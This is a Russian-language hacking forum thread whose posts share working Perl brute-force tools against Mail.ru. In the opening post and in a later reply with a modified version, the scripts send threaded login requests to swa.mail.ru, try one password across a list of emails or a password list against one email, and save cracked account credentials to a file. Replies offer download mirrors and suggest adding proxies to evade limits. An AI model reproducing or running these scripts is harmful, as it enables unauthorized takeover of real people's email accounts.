Многопоточный Брутфорс Mail.ru by Sharky Описание: [!]Брутит на один пароль по списку мыл ( можно и переделать ) через swa.mail.ru [!]Многопоточнсть [!]Высокая скорость брута (сам разгонял до 170 pps ) [!]Не требуются прокси Редактируем в коде под себя: Code: ######################################################## $emails = 'mail.txt'; #Файл с мылами $good = 'good.txt'; #Файл с прочеканными гуд акками $password = '111111'; #Пароль на который брутить ######################################################## $threads = '20'; #Количество потоков $timeout = '5'; #Таймаут ######################################################## Source: Лист мыл на один пароль: PHP: #!/usr/bin/perl use IO::Socket; use threads; use threads::shared; ######################################################## my @acc : shared; my $i : shared; my $g : shared; my $total : shared; ######################################################## $emails = 'mail.txt'; #Файл с мылами $good = 'good.txt'; #Файл с прочеканными гуд акками $password = '111111'; #Пароль на который брутить ######################################################## $threads = '20'; #Количество потоков $timeout = '5'; #Таймаут ######################################################## $hostname = "swa.mail.ru"; $port = '80'; $path = "/cgi-bin/auth"; ######################################################## open( ACS, "<$emails" ); @acc = acc(); $size = scalar @acc; threads(); sub threads { $g = 0; for ( 0 .. $threads ) { $trl[$_] = threads->create( \&check, $_ ); } for (@trl) { $_->join; } print "Good: $g "; } sub check { while (@acc) { { lock(@acc); $acc = shift @acc; } my ( $mail, $server ) = split( /@/, $acc ); $nn = "\r\n"; my $sock = new IO::Socket::INET( PeerAddr => $hostname, PeerPort => $port, PeerProto => 'tcp', TimeOut => $timeout ); if ( !$sock ) { { lock($i); $i++; } } else { my $data = "action1=Login&Login=$mail&Domain=$server&Password=$password"; my $re = "POST /cgi-bin/auth HTTP/1.0" . $nn . "Host: swa.mail.ru" . $nn . "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.7.12) Gecko/20050919 Firefox/1.0.7" . $nn . "Content-type: application/x-www-form-urlencoded" . $nn . "Cache-Control: no-cache" . $nn . "Content-length: " . length($data) . $nn . "Connection: Keep-Alive" . $nn . $nn; print $sock $re; print $sock $data; sysread( $sock, my $answ, 666 ); close $sock; if ( $answ =~ /Location/ ) { { lock($total); $total++; } print "$mail - [OK]\n"; open( FILE, ">>$good" ); print FILE "$acc:$password\n"; close(FILE); $g++; } { lock($i); $i++; } $percent = ( $i / $size ) * 100; $percent = sprintf( "%.0f", $percent ); print "$percent%" . $nn; } } } sub acc { my (@mas); while (<ACS>) { push @mas, $_; } chomp @mas; return @mas; } #with love by Sharky Одно мыло на лист паролей: PHP: #!/usr/bin/perl use IO::Socket; use threads; use threads::shared; ################################################## ###### my @acc : shared; my $i : shared; my $g : shared; my $total : shared; $| = 1; print " ################################################################### ### Sharky Mail.ru brute ### ### Usage mail.pl [email] [passwords.txt] [good.txt] [threads] ### ################################################################### "; ################################################## ###### $email = shift; $pass = shift; $good = shift; ################################################## ###### $threads = shift; $timeout = '5'; #Таймаут ################################################## ###### $hostname = "swa.mail.ru"; $port = '80'; ################################################## ###### print "[+] Loading passwords... \n"; open( ACS, "<$pass" ); @acc = acc(); $size = scalar @acc; print "[+] Loaded $size passwords \n"; threads(); sub threads { print "[+] Start Brute\n\n"; for ( 0 .. $threads ) { $trl[$_] = threads->create( &check, $_ ); } for (@trl) { $_->join; } } sub check { while (@acc) { { lock(@acc); $passw = shift @acc; } my ( $mail, $server ) = split( /@/, $email ); $nn = "\r\n"; my $sock = new IO::Socket::INET( PeerAddr => $hostname, PeerPort => $port, PeerProto => 'tcp', TimeOut => $timeout ); if ( !$sock ) { { lock($i); $i++; } } else { my $data = "action1=Login&Login=$mail&Domain=$server&Password=$passw"; my $re = "POST /cgi-bin/auth HTTP/1.0" . $nn . "Host: swa.mail.ru" . $nn . "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.7.12) Gecko/20050919 Firefox/1.0.7" . $nn . "Content-type: application/x-www-form-urlencoded" . $nn . "Cache-Control: no-cache" . $nn . "Content-length: " . length($data) . $nn . "Connection: Keep-Alive" . $nn . $nn; print $sock $re; print $sock $data; sysread( $sock, my $answ, 666 ); close $sock; if ( $answ =~ /Location/ ) { { lock($total); $total++; } print "$email:$passw - [OK]\n"; open( FILE, ">>$good" ); print FILE "$acc:$password\n"; close(FILE); exit; } { lock($i); $i++; } } $percent = ( $i / $size ) * 100; $percent = sprintf( "%.0f", $percent ); print "[%]$percent%\r"; } } sub acc { my (@mas); while (<ACS>) { push @mas, $_; } chomp @mas; return @mas; } #with love by Sharky Использование одномыльного : Code: ################################################################### ### Sharky Mail.ru brute ### ### Usage mail.pl [email] [passwords.txt] [good.txt] [threads] ### ################################################################### Либо скачать архивом: Rapidshare.com Webfile.ru Dump.ru
по просьбам трудящихся добавил ещё один для брута одного мыла по словарю паролей не стал их объединять ибо просто влом ps Я ВСЕМИРНЫЙ ОБЛОМЩИК ТОРГАШЕЙ
как правильно настроить брут по списку паролей на один E-mail? Настраивал вроде верно но выбивает сразу после запуска.. Кто поможет,в асю стучите-413190144 заплачу 1$ кто поможет разобраться)
ребят, разберитесь кто-то, со второй частью скрипта "Одно мыло на лист паролей".... у ТС нет времени на это.
Модифицированная версия. Изменено: 1. Нет ошибки неправильного завершения нити. 2. Вместо процентов теперь плюсики в одну строку. Количество их можно изменить. Пользуйтесь. Неплохой брут. Как раз узнал про реальное использование нитей в перле. З.Ы. Форматирование кода ужасное в ачат-редакторе =Q Есть вариант добавить прокси-поддержку распределенную по нитям. Т.е для каждой нити свой прокси или рандомный по списку, сколько фантазии хватит Code: #!/usr/bin/perl -w use strict; use IO::Socket; use threads qw(stringify); use threads::shared; use POSIX; ######################################################## my @acc : shared; my $i : shared; my $total : shared; my $k : shared; $| = 1; print " ###################################################################### ### Sharky Mail.ru brute ### ### Usage mail.pl [email] [passwords.txt] [good.txt] [threads] ### ### edited by gh0stwizard ### ###################################################################### "; ######################################################## my $email = shift; my $pass = shift; my $good = shift; my $threads = shift; my $timeout = '5'; #Таймаут my $hostname = "swa.mail.ru"; my $port = '80'; my ( $mail, $server ) = split( /@/, $email ); my $nn = "\r\n"; my $maxplus = 62; #Количество выводимых плюсов ######################################################## my ($passw, $percent); ######################################################## print "[+] Loading passwords... \n"; open( ACS, "<$pass" ); @acc = &acc(); my $size = scalar @acc; print "[+] Loaded $size passwords \n"; print "[+] Start Brute\n\n["; my (@trl); &threads(); sub threads { for ( 0 .. $threads ) { $trl[$_] = threads->create( {'void' => 1}, \&check, $_ ); $trl[$_]->join(); } print "\n[*] Bruteforce has been completed.\n"; } sub check { while (@acc) { { lock(@acc); $passw = shift @acc; } my $sock = new IO::Socket::INET( PeerAddr => $hostname, PeerPort => $port, PeerProto => 'tcp', TimeOut => $timeout ); if ( !$sock ) { { lock($i); $i++; } } else { my $data = "action1=Login&Login=$mail&Domain=$server&Password=$passw"; my $re = "POST /cgi-bin/auth HTTP/1.0" . $nn . "Host: swa.mail.ru" . $nn . "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.7.12) Gecko/20050919 Firefox/1.0.7" . $nn . "Content-type: application/x-www-form-urlencoded" . $nn . "Cache-Control: no-cache" . $nn . "Content-length: " . length($data) . $nn . "Connection: Keep-Alive" . $nn . $nn; print $sock $re; print $sock $data; sysread( $sock, my $answ, 666 ); close $sock; if ( $answ =~ /Location/ ) { { lock($total); $total++; } print "]\n[*] $email:$passw - [OK]"; open( FILE, ">>$good" ); print FILE "$email:$passw\n"; close(FILE); print "\n[*] Bruteforce has been completed.\n"; exit; } { lock($i); $i++; } } $percent = sprintf("%.6f", ( $i / $size )) * $maxplus; my $sh = sprintf("%.6f", (1 / $size)) * $maxplus; my $zer = sprintf("%.6f", (1 / $size)); if (($percent == $sh) or ($percent == $zer)) { print "+"; $k++; } elsif ( (floor($percent) - 1) == $k ) { print "+"; $k++; } elsif ((floor($percent) -$k) >=2 and ($maxplus>20)) { my $def = (floor($percent)) - $k; $k += $def; print "+"x$def; } if ($percent == $maxplus) { print "] 100%\r"; } } } sub acc { my (@mas); while (<ACS>) { push @mas, $_; } chomp @mas; return @mas; } #with love by Sharky
ghostwizard, мои слабые познания, не позволяют разобраться в чём ошибка )))), но явно, чё-то не то...